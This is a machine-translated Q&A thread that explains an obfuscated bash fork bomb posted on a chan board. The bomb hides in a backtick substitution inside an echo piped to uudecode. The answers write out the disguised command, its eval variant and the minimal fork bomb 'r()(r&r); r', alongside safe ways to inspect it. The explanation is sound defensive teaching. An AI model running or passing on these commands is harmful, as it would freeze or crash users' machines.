題 這串文字如何以及為什麼是一個叉炸彈?


在一個隨機的chan板上找到:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

以某種方式運行這會導致無限產生的過程猖獗並使機器停止運轉。我看到一些關於“su”試圖被執行多次的事情。

..這很奇怪,因為我只希望輸出文字,而不是執行任何東西。

通過在線解碼器運行此文本只給我一批二進制噴出:

uudecode result

這個混亂的文本究竟在做什麼,有沒有辦法“安全地”查看它?


129
2017-11-06 06:48


起源


為什麼“su”被執行多次? - Brent Washburne
一條建議:不要從隨機的chan板運行代碼,並感激它只是一個叉炸彈。 - rr-
嘿。值得慶幸的是,我正在製作一個快照虛擬機,其目的是為了玩這種可能充滿敵意的垃圾。 - Mikey T.K.
我知道這是偏離主題的,但有可能提到董事會和提到命令的上下文嗎? - Sebi
@Sebi - archive.rebeccablacktech.com/g/thread/45564403 - Pikamander2


答案:


首先,讓我們看一下整個命令:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

它包含一個雙引號字符串,可以回顯 uudecode。但是,請注意,在雙引號字符串中是一個 背引述 串。這個字符串得到 執行。字符串是:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

如果我們看看它裡面有什麼,我們會看到三個命令:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

表演 支撐擴張 在中間命令,我們有:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

第一行嘗試在後台運行無意義命令。這不重要。

第二行很重要:它定義了一個函數 r 在運行時,它會發布兩份自己的副本。當然,每份副本都會再發行兩份。等等。

第三行運行 r,啟動叉炸彈。

在後引用字符串之外的其餘代碼對於混淆來說只是無意義。

如何運行命令 安然

如果我們設置函數嵌套級別的限制,則可以安全地運行此代碼。這可以用bash來完成 FUNCNEST 變量。在這裡,我們將其設置為 2 這會停止遞歸:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

上面的錯誤消息表明(a)無意義的命令 rYWdl 和 Y29j 沒有找到,(b)FUNCNEST反复停止叉炸彈,(c)輸出 echo 不是從一開始 begin 因此,無效輸入 uudecode

最簡單形式的叉炸彈

如果我們移除遮擋物,叉炸彈會是什麼樣子?正如njzk2和gerrit建議的那樣,它看起來像:

echo "`r()(r&r);r`"

我們可以進一步簡化:

r()(r&r); r

它由兩個語句組成:一個定義了fork-bomb-function r 第二次運行 r

所有其他代碼,包括管道 uudecode,是否只是為了遮蔽和誤導。

原始形式還有另一層誤導

OP提供了 一條鏈接 到該代碼出現的通道板討論。如此處所示,代碼如下所示:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

請注意有關此代碼的第一條評論之一:

我為此感到沮喪。僅複製迴聲和解碼的部分,但仍然   得到了叉子

在通道板上的形式,人們會天真地認為問題將是 eval 關於輸出的聲明 uudecode。這將導致人們認為刪除 eval 會解決問題。正如我們上面所看到的,這是錯誤的,也是危險的。


188
2017-11-06 07:07



狡猾的!我從未想過在迴聲字符串的中間考慮shell globbing / expansion。 - Mikey T.K.
我認為值得注意的是 uudecode 這裡完全無關緊要。我想了一下 uudecode 正在進行反向引用的字符串插值,這會使它基本上不安全,但是在uudecode開始之前就會發生叉炸彈。 - gerrit
...和 這個女士們,先生們,這就是為什麼shell腳本中的安全性如此嚴重。即使完全無害的東西也會殺了你。 (想像一下,如果這是來自某個地方的用戶輸入......) - MathematicalOrchid
@MathematicalOrchid實際上需要花費大量精力才能在用戶輸入中引入反引號的東西來執行shell腳本。如果你是的話 建設 來自用戶輸入的shell腳本,你應該知道比將它放在雙引號中更好。 - Random832
@ njzk2你還需要一個 &那裡: echo "`r()(r&r);r`"。 - gerrit


要回答你問題的第二部分:

...有沒有辦法“安全地”查看它?

要化解這個字符串, 用單引號替換外部雙引號,並轉義字符串中出現的單引號。像這樣,shell不會執行任何代碼,而你實際上是直接傳遞所有代碼 uudecode

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

評論中註明了其他替代方案:

卡斯佩德建議道

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

雅各布克拉爾建議道 使用文本編輯器,粘貼內容,然後將該文件傳遞給uudecode。


10
2017-11-06 11:26



或者:輸入 uudecode 在命令行上。按enter鍵。複製粘貼要解碼的字符串。 - kasperd
另一種選擇:使用文本編輯器將內容保存到文件中。用它打開該文件 uudecode。 - Jacob Krall
多虧了這兩個,我在答案中註意到了這些替代方案。 - gerrit
確保檢查字符串是不是類似的 echo "foo`die`bar'`die`'baz" 第一!也就是說,如果有的話 '在其中然後用單引號替換引號是不夠的。 - wchargin


乍一看,你可能會想到這一點 輸出到shell將永遠不會執行。這是 尚真。問題已經存在了 輸入。這裡的主要技巧是程序員所說的 運算符優先級。這是shell嘗試處理您的輸入的順序:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. 通過執行其中的所有反引號命令來組合字符串。
  2. 通常是一個未知的命令,這會導致一些輸出 如果'rYWdl'不是拼寫錯誤,你可以使用command-not-found來查找包含它的包... (取決於系統)
  3. 在後台執行2.你永遠不會看到輸出。
  4. 定義叉炸彈功能。
  5. 命令分隔符。
  6. 運行叉炸彈。
  7. 將結果插入到字符串中。 (我們永遠不會來這裡。)

錯誤就是這麼想 echo 將是第一個被執行的命令, uudecode 第二。永遠不會達到他們兩個。

結論: 雙引號在shell上總是危險的。


5
2017-11-11 08:01